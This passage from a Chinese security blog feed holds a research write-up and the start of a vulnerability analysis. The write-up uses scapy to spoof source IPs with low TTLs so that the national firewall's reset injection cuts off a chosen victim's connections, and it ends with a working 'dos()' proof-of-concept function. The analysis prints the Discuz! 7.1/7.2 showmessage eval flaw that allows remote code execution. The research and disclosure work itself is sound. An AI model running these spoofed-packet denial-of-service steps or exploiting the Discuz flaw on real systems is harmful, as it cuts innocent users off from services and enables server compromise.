21:47:54.773332 IP (tos 0x0, ttl 50, id 51734, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: R, cksum 0x1497 (correct), 2970573199:2970573199(0) win 0
21:47:54.774292 IP (tos 0x0, ttl 48, id 26492, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: R, cksum 0x2735 (correct), 2970573199:2970573199(0) ack 1951758129 win 459
21:47:54.775939 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2970573199:2970573199(0) win 21811
21:47:54.778871 IP (tos 0x0, ttl 50, id 51735, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: R, cksum 0x1497 (correct), 2970573199:2970573199(0) win 0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一个中间的服务器抢在真正的Google服务器之前给我们响应了我们的请求，而Google的回应却因为序列号出现差错导致服务器给我们发重置包，而在此过程中，ttl=43,46,53,48的，ID模拟正常的服务器向我们连回了N个rst包，这个链接必死无疑了，可见它多么痛恨我这个链接。也许我抓到的并不是最全的，但是基本原理应该都类似的，而且这种发送的ID，ttl都是伪造的，以这种方式很难定位到具体的设备位置和直接过滤掉，后面会说到另外一种定位方法：）这个动态的ACL在过两分钟最后会被清除，用户恢复对网站的访问。&lt;/p&gt;
&lt;p&gt;0x02	Hack it，对防火墙类ids的一些安全研究&lt;/p&gt;
&lt;p&gt;我们在黑盒的方式了解了此类ids的基本原理之后，就可以想想这类ids的一些安全问题了，这里说的安全问题不是上面提到的绕过，而是其他我们在日常工作中可能遇到的问题，这里对设备的性能测试，误报率等也不做研究，这些也不是我们可以去考虑的问题，这里主要是来自于一个思路，既然这个神奇的设备已经作为一个基本安全设施，它的动态封禁机制会不会可以被利用来对某些境外的网站进行屏蔽来实现对国内用户的Dos，据一些媒体说美国也有类似的设施，但是美国只会记录而不会做类似于IPS的动作主动切断有威胁的的双方，这里的测试不再是被动的抓包了，我们使用一款强大的网络数据包调试工具，scapy，对于我这种只有脚本基础的人来说比较容易上手，基本用法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Welcome to Scapy (v1.1.1 / f88d99910220)
&amp;gt;&amp;gt;&amp;gt; ls(IP)
version    : BitField             = (4)
ihl        : BitField             = (None)
tos        : XByteField           = (0)
len        : ShortField           = (None)
id         : ShortField           = (1)
flags      : FlagsField           = (0)
frag       : BitField             = (0)
ttl        : ByteField            = (64)
proto      : ByteEnumField        = (0)
chksum     : XShortField          = (None)
src        : Emph                 = (None)
dst        : Emph                 = ('127.0.0.1')
options    : IPoptionsField       = ('')
&amp;gt;&amp;gt;&amp;gt; ls(TCP)
sport      : ShortEnumField       = (20)
dport      : ShortEnumField       = (80)
seq        : IntField             = (0)
ack        : IntField             = (0)
dataofs    : BitField             = (None)
reserved   : BitField             = (0)
flags      : FlagsField           = (2)
window     : ShortField           = (8192)
chksum     : XShortField          = (None)
urgptr     : ShortField           = (0)
options    : TCPOptionsField      = ({})
&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以很简单滴修改这些选项来构造适合自己的包并且发送出去，譬如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;send(IP(dst=&quot;64.233.189.103&quot;)/TCP(dport=80,sport=57474,flags=&quot;P&quot;,seq=945149829)/&quot;We are 80sec,play with packets&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就会向Google的服务器发送一个源端口是57474，序列号是945149829的push包了，包的内容就是We are 80sec。&lt;br /&gt;
这里测试的基本想法是，我们对一个想要攻击的ip如121.121.121.121，想使他不能访问google的服务器64.233.189.103，就可以想办法伪造一个它的ip通过这个神奇的设备并且触发规则就可以了。得益于国内运营商对数据包的来源有效性不会做任何限制，可以随便伪造别的IP的数据包发到指定的地方，同样得益于此的还有欣欣向荣的ddos行业，所以我们只要想办法触发这个神奇的设备的规则就是了。&lt;br /&gt;
先进行最简单的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;)/TCP(dport=80,sport=57474,flags=&quot;P&quot;,seq=945149829)/&quot;/?q=freenet/freenet&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个完全扯淡的数据包，全部都是伪造的，如果这个数据包会触发规则的话，那么121.121.121.121就不能访问64.233.189.103这个Google的ip了，结果显而易见，没有任何影响。我们继续来测试，发送:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;)/TCP(dport=80,sport=57474,flags=&quot;P&quot;,seq=945149829)/&quot;/?q=freenet/freenet&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时在本机抓包以得到服务器的响应，一旦成功我们就可以把源IP换成想要攻击的IP了，发出去后只能抓到自己出去的包，没有任何服务端的响应，自然不包括这个神奇的设备的，抓包如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:41:29.014316 IP (tos 0x0, ttl  64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.57474 &amp;gt; 64.233.189.103.80: P, cksum 0x9fb7 (correct), 945149829:945149848(19) win 8192&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个包不只这个神奇的设备忽略了，Google服务器也忽略了，这里我换了个测试环境，因为我处于NAT的环境，为了可以直接伪造所有的ip包，我使用了朋友的服务器做测试，好处就是伪造的ip不会被NAT防火墙丢弃也不会给我转换我的端口序列号之类。我测试了Syn，Ack等包，都发现数据包顺利的到达了Google服务器，不过没有违反这个神奇的设备的规则。&lt;br /&gt;
看来这个神奇的设备还是有一些防范策略，没有想象中那样直接检测push包，起码是能对非法的，无效的TCP链接进行识别。很佩服防火墙的伟大，这么大的流量还能做到这种程度，公司内部的防火墙那么点流量还吱呀吱呀响呢，猜测没有用，回忆前面提到的，能控制一个TCP链接需要的几个元素，我们需要五元组，测试看看，我们先建立一条正常的到Google的链接，并且抓取五元组来测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
d00:49:38.694884 IP (tos 0x0, ttl  64, id 55469, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60931 &amp;gt; 64.233.189.103.80: S, cksum 0x188c (correct), 3664548093:3664548093(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 1951942736 0,nop,wscale 7&amp;gt;
00:49:38.745534 IP (tos 0x0, ttl  51, id 57212, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.103.80 &amp;gt; 114.249.114.249.60931: S, cksum 0x40d4 (correct), 2550448670:2550448670(0) ack 3664548094 win 5672 &amp;lt;mss 1430,sackOK,timestamp 1084177835 1951942736,nop,wscale 6&amp;gt;
00:49:38.745546 IP (tos 0x0, ttl  64, id 55470, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60931 &amp;gt; 64.233.189.103.80: ., cksum 0x8548 (correct), 3664548094:3664548094(0) ack 2550448671 win 46 &amp;lt;nop,nop,timestamp 1951942787 1084177835&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;呵呵，然后我们构造一个接近真实的五元组都正确的链接，只有序列号是错误的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;)/TCP(dport=80,sport=60931,flags=&quot;P&quot;,seq=123456)/&quot;/?q=freenet/freenet&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器返回&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00:52:12.606688 IP (tos 0x0, ttl  64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.60931 &amp;gt; 64.233.189.103.80: P, cksum 0xbfcf (correct), 123456:123475(19) win 8192
00:52:12.657154 IP (tos 0x0, ttl  51, id 57212, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.103.80 &amp;gt; 114.249.114.249.60931: ., cksum 0x2be4 (correct), 2550448671:2550448671(0) ack 3664548094 win 89 &amp;lt;nop,nop,timestamp 1084331746 1951942787&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据包顺利的通过了这个神奇的设备，Google还给我们发来了纠正序列号的ack包。这个时候我就很惊奇了，对一条链接真实性的验证可以不只到达五元组程度，甚至可以到达序列号的级别，而它所做的地方是在国家的主干上，这几乎是不可想象的。这个时候思考这个神奇的设备的实现方式，可能是维护一个链接的状态表，并且对这个表的所有状态进行实时跟踪，但这样他就太吊了，这个时候开始想到用一些畸形包来测试防火墙的机制。&lt;br /&gt;
从前面知道，我们到Google服务器的TTL是14跳，也就是如果我们发初始TTL小于14的话，按照TTL的基本原理，请求是不会达到Google的服务器的，如果我们控制TTL=12的话甚至可以将包通过这个神奇的设备但是不到达服务器，这个时候我们知道，如果我们在两侧放置自己的机器，在另外一侧可以伪造成Google的服务器，在自己这一侧伪造成目标的IP，控制TTL让两端的机器互相通迅触发规则，直到被这个神奇的设备列入灰名单，但是真正的被伪造的IP却不会知道发生了什么。这个思路肯定可以成功，但是之前我们可以试试其他的，毕竟我没有国外的机器，有不有可能在一端发数据包就可以实现将别的IP列入灰名单呢？我在尝试这个神奇的设备跟踪链接时的设计时找到了答案。前面我们知道，这个神奇的设备对一个请求的跟踪能够达到序列号级别，这是不可思议的事情，因为计算量和数据量太大了，那个时候我就怀疑这个神奇的设备会不会对数据包做验证，那样会增加计算量，对于骨干级的设备来说不可接受的，万一判断完之后真正的服务器已经返回了就麻烦了。同时，由于这个神奇的设备架构的设计，我们能控制数据包的出口，但是实际上数据包的返回的时候走的是可能完全不同的一条路由，所以不可能对请求的跟踪做到双向跟踪，这里的跟踪完全可能是一种虚拟行为的，对发起请求一端的校验。这里的测试也很简单，也证明了我的结论：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;S&quot;,seq=1234567))
&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;A&quot;,seq=1234568))
&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;P&quot;,seq=1234568)/&quot;GET /search?hl=en&amp;amp;source=hp&amp;amp;q=freenet/freenet&amp;amp;oq=&amp;amp;aqi=1 HTTP/1.1
\r\nHOST: www.google.com\r\n\r\n\r\n&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意我在伪造ttl的时候使用ttl=10，这个时候可以避免数据包传到真正的Google服务器，服务器返回ack的时候被伪造的IP会发rst重置链接而导致发起数据失败，防火墙会看到这个rst包而认为后面的push包已经过时。通过发出上面的这三个伪造的数据包，我们就可以让64.233.189.103对我的IP不可访问，可以看到其中的包括源端口，目的端口，序列号都是我自己定义的，在防火墙看来，就是我在跟64.233.189.103发起非法链接，毕竟它只能完全信任我，它没有其他的可以信任:)，想让121.121.121.121不能访问Google的80端口只需要发送下面三个包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;S&quot;,seq=1234567))
&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;A&quot;,seq=1234568))
&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;P&quot;,seq=1234568)/&quot;GET /q=freenet/freenet&amp;amp;oq=&amp;amp;aqi=1 HTTP/1.1&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;甚至可以利用这个对其他的应用如gtalk进行dos，我们只要知道某个公司的出口ip，然后罗列gtalk的使用ip和端口就可以做到，非常简单，现在很多的网站往国外搬，那你有不有考虑本文提到的风险呢？有的公司甚至将Mail服务器放置在国外......&lt;br /&gt;
但是也可以看到，我们已经实现将后续的链接断开，因为tcp链接序列号的未知性，利用上面提到的貌似还不能让已经建立完成的tcp链接reset，但实际上这款有爱的过滤系统已经帮我们想到了，同时用nc跟Google建立两个链接，在其中一个链接里触发规则，然后在另一个无辜的链接只要被防火墙发现，就会立刻被reset了，看如下的抓包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:26:52.574643 IP (tos 0x0, ttl  64, id 55786, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60949 &amp;gt; 64.233.189.147.80: S, cksum 0x339b (correct), 1962684567:1962684567(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 2109008253 0,nop,wscale 7&amp;gt;
20:26:52.617778 IP (tos 0x0, ttl  51, id 15574, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 &amp;gt; 114.249.114.249.60949: S, cksum 0x8801 (correct), 4247640462:4247640462(0) ack 1962684568 win 5672 &amp;lt;mss 1430,sackOK,timestamp 1246071629 2109008253,nop,wscale 6&amp;gt;
20:26:52.617791 IP (tos 0x0, ttl  64, id 55787, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60949 &amp;gt; 64.233.189.147.80: ., cksum 0xcc7d (correct), 1962684568:1962684568(0) ack 4247640463 win 46 &amp;lt;nop,nop,timestamp 2109008296 1246071629&amp;gt;

20:27:00.456284 IP (tos 0x0, ttl  64, id 60678, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60979 &amp;gt; 64.233.189.147.80: S, cksum 0x5ebc (correct), 1983571278:1983571278(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 2109016136 0,nop,wscale 7&amp;gt;
20:27:00.499066 IP (tos 0x0, ttl  51, id 4036, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 &amp;gt; 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 816454471:816454471(0) ack 1983571279 win 5672 &amp;lt;mss 1430,sackOK,timestamp 1259538068 2109016136,nop,wscale 6&amp;gt;
20:27:00.499074 IP (tos 0x0, ttl  64, id 60679, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60979 &amp;gt; 64.233.189.147.80: ., cksum 0x0656 (correct), 1983571279:1983571279(0) ack 816454472 win 46 &amp;lt;nop,nop,timestamp 2109016179 1259538068&amp;gt;

20:27:18.827802 IP (tos 0x0, ttl  64, id 60680, offset 0, flags [DF], proto: TCP (6), length: 77) 114.249.114.249.60979 &amp;gt; 64.233.189.147.80: P, cksum 0x02a9 (incorrect (-&amp;gt; 0xd051), 1983571279:1983571304(25) ack 816454472 win 46 &amp;lt;nop,nop,timestamp 2109034511 1259538068&amp;gt;
20:27:18.870912 IP (tos 0x0, ttl  51, id 4036, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 &amp;gt; 114.249.114.249.60979: ., cksum 0x76b1 (correct), 816454472:816454472(0) ack 1983571304 win 89 &amp;lt;nop,nop,timestamp 1259556440 2109034511&amp;gt;
20:27:19.289520 IP (tos 0x0, ttl  64, id 60681, offset 0, flags [DF], proto: TCP (6), length: 53) 114.249.114.249.60979 &amp;gt; 64.233.189.147.80: P, cksum 0x0291 (incorrect (-&amp;gt; 0x6b05), 1983571304:1983571305(1) ack 816454472 win 46 &amp;lt;nop,nop,timestamp 2109034973 1259556440&amp;gt;
20:27:19.334402 IP (tos 0x0, ttl  51, id 4037, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 &amp;gt; 114.249.114.249.60979: ., cksum 0x7315 (correct), 816454472:816454472(0) ack 1983571305 win 89 &amp;lt;nop,nop,timestamp 1259556901 2109034973&amp;gt;
20:27:19.338648 IP (tos 0x0, ttl  52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 &amp;gt; 114.249.114.249.60979: R, cksum 0x0142 (correct), 816454472:816454472(0) win 29119

20:27:37.856781 IP (tos 0x0, ttl  64, id 55788, offset 0, flags [DF], proto: TCP (6), length: 67) 114.249.114.249.60949 &amp;gt; 64.233.189.147.80: P, cksum 0x029f (incorrect (-&amp;gt; 0x4d19), 1962684568:1962684583(15) ack 4247640463 win 46 &amp;lt;nop,nop,timestamp 2109053544 1246071629&amp;gt;
20:27:37.900887 IP (tos 0x0, ttl  51, id 15574, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 &amp;gt; 114.249.114.249.60949: ., cksum 0x6aa0 (correct), 4247640463:4247640463(0) ack 1962684583 win 89 &amp;lt;nop,nop,timestamp 1246116911 2109053544&amp;gt;
20:27:37.911380 IP (tos 0x0, ttl  52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 &amp;gt; 114.249.114.249.60949: R, cksum 0xd646 (correct), 4247640463:4247640463(0) win 4621&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候抓包的时候由于我换了服务器注意ttl已经跟之前不一样了，但是那个id=64露出了尾巴，前面三个包是第一个tcp链接，端口是60949，后面一个链接的端口是60979，下面的是60979触发规则被reset掉了，然后本来正常的第二个链接一旦发出了数据包就立刻被reset，充分证明了这个联动的迅速和及时：）&lt;br /&gt;
那我们就有了满篇废话之后的一个简单的结论，dos国内和国外的链接是可能的，无论是建立好的还是未建立的，在scapy里的poc函数如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def dos(srcip, dstip , tport ):
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=&quot;S&quot;,seq=3334567))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=&quot;A&quot;,seq=3334568))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=&quot;P&quot;,seq=3334568)/&quot;GET /?q=freenet/freenet HTTP/1.1\r\n\r\n&quot;)
dos(&quot;114.249.114.249&quot;,&quot;64.233.189.103&quot;,80);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后再说说前面的问题，如何在数据包完全被伪造的时候判断设备的物理位置，很明显，还是利用TTL：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=8)/TCP(dport=80,sport=2222,flags=&quot;P&quot;,seq=1234568)/&quot;GET /q=freenet/freenet&amp;amp;oq=&amp;amp;aqi=1 HTTP/1.1&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在ttl=8的时候，我们依然收到了系统的重置包，这样就可以判断数据包被旁路的位置了：）&lt;/p&gt;
&lt;p&gt;0x03	后话&lt;/p&gt;
&lt;p&gt;从技术角度来讲，避免这种方式的攻击会比较困难，防火墙作为一个安全设备是不能对正常的使用造成影响的，所以检测的方式来说还是比较被动，譬如不能实时的丢弃一个数据包，前面我就很奇怪为什么防火墙不直接丢弃发起链接的syn包或者发起非法链接的psh包呢，这是因为防火墙整个架构和设计造成的，整个数据包已经到达服务器了，他不能丢弃。同样，由于架构的原因，我们无法使同一条tcp的数据流永远经过同一个路由器同一个设备，所以我们无法对一个数据包的有效性做验证，而即使可以验证整个请求的有效性也可以看到，在防火墙两侧一起愚弄防火墙是多么容易的事情，跟以前的反弹穿透防火墙一样，利用ttl的差异我们一样可以bypass掉对一个数据包做真实的有效性验证，这里包括其他厂商的如Cisco等设备都可能会有这种问题。我不知道对于一个设备来说，抛弃一个ttl过小的包是否明智，防火墙是旁路在设备里，也无法对ttl比较小的包做到实时的丢弃，一旦发现发现有ttl过小的包肯定不能直接放过，因为可能别人就利用这个来bypass防火墙，那么必须对ttl过小的包做处理，处理包括响应rst链接要求重置，这的确会缓解本文提到的问题，但是不知道这么复杂的逻辑会不会带来新的问题，逻辑可能本身就是漏洞。在TTL之外，而相信其他的畸形的数据包一样可能造成设备处理上的失误，只要服务器和设备对数据包处理不一致就可以实现，而这种不一致性因为种种原因是非常多的。本文只是对学习的网络知识做了一次实践，感谢历来帮助我学习的同学，你们知道你们是谁：）&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3442.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2010. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3442.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3442.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782634/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3442.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782634/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782634/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3442.html/feed</wfw:commentRss><slash:comments>8</slash:comments><description>Author: jianxin [80sec]
EMail:	 jianxin#80sec.com
Site: http://www.80sec.com
Date:	2009-1-2
From:	http://www.80sec.com/release/dos-with-XXX.txt
[ 目录 ]
0x00	前言
0x01	know it，了解这款内容过滤系统
0x02	Hack it，对防火墙类ids的一...&lt;img src=&quot;http://www1.feedsky.com/t1/328782634/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3442.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782634/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782634/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>技术文章</category><category>DoS</category><pubDate>Thu, 07 Jan 2010 17:30:30 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3442.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3442.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3442.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782634/1230972</fs:itemid></item><item><title>Discuz! 7.1 &amp; 7.2 远程代码执行漏洞</title><link>http://huaidan.org/archives/3441.html</link><content:encoded>&lt;p&gt;作者：&lt;a href=&quot;http://www.oldjun.com/blog/index.php/archives/58/&quot; target=&quot;_blank&quot;&gt;oldjun&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先说一下，漏洞是t00ls核心群传出去的，xhming 先去读的，然后我后来读的，读出来的都是代码执行，1月5日夜里11点多钟，在核心群的黑客们的要求下，xhming给了个poc，我给了个exp，确实 发现的是同一个问题。截止夜里2点多种我下线，还只有t00ls核心群里几个人知道我给出的exp，可我怎么也想不到，经过半天时间，exp就满天飞了， 而且确实出自昨天我的那个版本。&lt;br /&gt;
&lt;span id=&quot;more-3441&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;不难想象，exp流传的速度，A与B关系好，A发给B；B与C是好朋友，B发给C...总有人耐不住性子，泄露点风声，于是就人手一份。最受不了的是，竟然有些SB在群里拿来叫卖；实在不想说什么，要叫卖什么时候轮到你？人心不古，以后有的话还是自己藏着吧。&lt;/p&gt;
&lt;p&gt;上午漏洞告诉了Saiy，DZ官方的补丁很快就出来了吧。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特别说明：产生漏洞的$scriptlang数组在安装插件后已经初始化，因此有安装插件的用户不受影响。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞介绍：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Discuz！新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化，可以任意提交，从而可以执行任意PHP命令。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞分析：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、漏洞来自showmessage函数：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com
global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
define('CACHE_FORBIDDEN', TRUE);
$hookscriptmessage = $show_message = $message;$messagehandle = 0;
$msgforward = unserialize($_DCACHE['settings']['msgforward']);
$refreshtime = intval($msgforward['refreshtime']);
$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
$msgforward['refreshtime'] = $refreshtime * 1000;
$url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) &amp;amp;&amp;amp; $transsidstatus ? transsid($url_forward) : $url_forward);
$seccodecheck = $seccodestatus &amp;amp; 2;
if($_DCACHE['settings']['funcsiteid'] &amp;amp;&amp;amp; $_DCACHE['settings']['funckey'] &amp;amp;&amp;amp; $funcstatinfo &amp;amp;&amp;amp; !IS_ROBOT) {
$statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
if($fp = @fopen($statlogfile, 'a')) {
@flock($fp, 2);
if(is_array($funcstatinfo)) {
$funcstatinfo = array_unique($funcstatinfo);
foreach($funcstatinfo as $funcinfo) {
fwrite($fp, funcstat_query($funcinfo, $message).&quot;\n&quot;);
}
} else {
fwrite($fp, funcstat_query($funcstatinfo, $message).&quot;\n&quot;);
}
fclose($fp);
$funcstatinfo = $GLOBALS['funcstatinfo'] = '';
}
}

if(!defined('STAT_DISABLED') &amp;amp;&amp;amp; STAT_ID &amp;gt; 0 &amp;amp;&amp;amp; !IS_ROBOT) {
write_statlog($message);
}

if($url_forward &amp;amp;&amp;amp; (!empty($quickforward) || empty($inajax) &amp;amp;&amp;amp; $msgforward['quick'] &amp;amp;&amp;amp; $msgforward['messages'] &amp;amp;&amp;amp; @in_array($message, $msgforward['messages']))) {
updatesession();
dheader(&quot;location: &quot;.str_replace('&amp;amp;amp;', '&amp;amp;', $url_forward));
}
if(!empty($infloat)) {
if($extra) {
$messagehandle = $extra;
}
$extra = '';
}
if(in_array($extra, array('HALTED', 'NOPERM'))) {
$discuz_action = 254;
} else {
$discuz_action = 255;
}

include language('messages');

$vars = explode(':', $message);//只要含:就可以了
if(count($vars) == 2 &amp;amp;&amp;amp; isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可，用:分割
eval(&quot;\$show_message = \&quot;&quot;.str_replace('&quot;', ' \&quot;', $scriptlang[$vars[0]][$vars[1]]).&quot;\&quot;;&quot;);//$scriptlang未初始化，可以自定 义，from www.oldjun.com
} elseif(isset($language[$message])) {
$pre = $inajax ? 'ajax_' : '';
eval(&quot;\$show_message = \&quot;&quot;.(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message]).&quot;\&quot;;&quot;);
unset($pre);
}

......
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;二、DZ的全局机制导致了未初始化的参数可以任意提交：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key =&amp;gt; $_value) {
$_key{0} != '_' &amp;amp;&amp;amp; $$_key = daddslashes($_value);
}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;三、misc.php正好有个可以自定义message的点，其实也是未初始化：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;elseif($action == 'imme_binding' &amp;amp;&amp;amp; $discuz_uid) {

if(isemail($id)) {
$msn = $db-&amp;gt;result_first(&quot;SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'&quot;);
$msn = explode(&quot;\t&quot;, $msn);
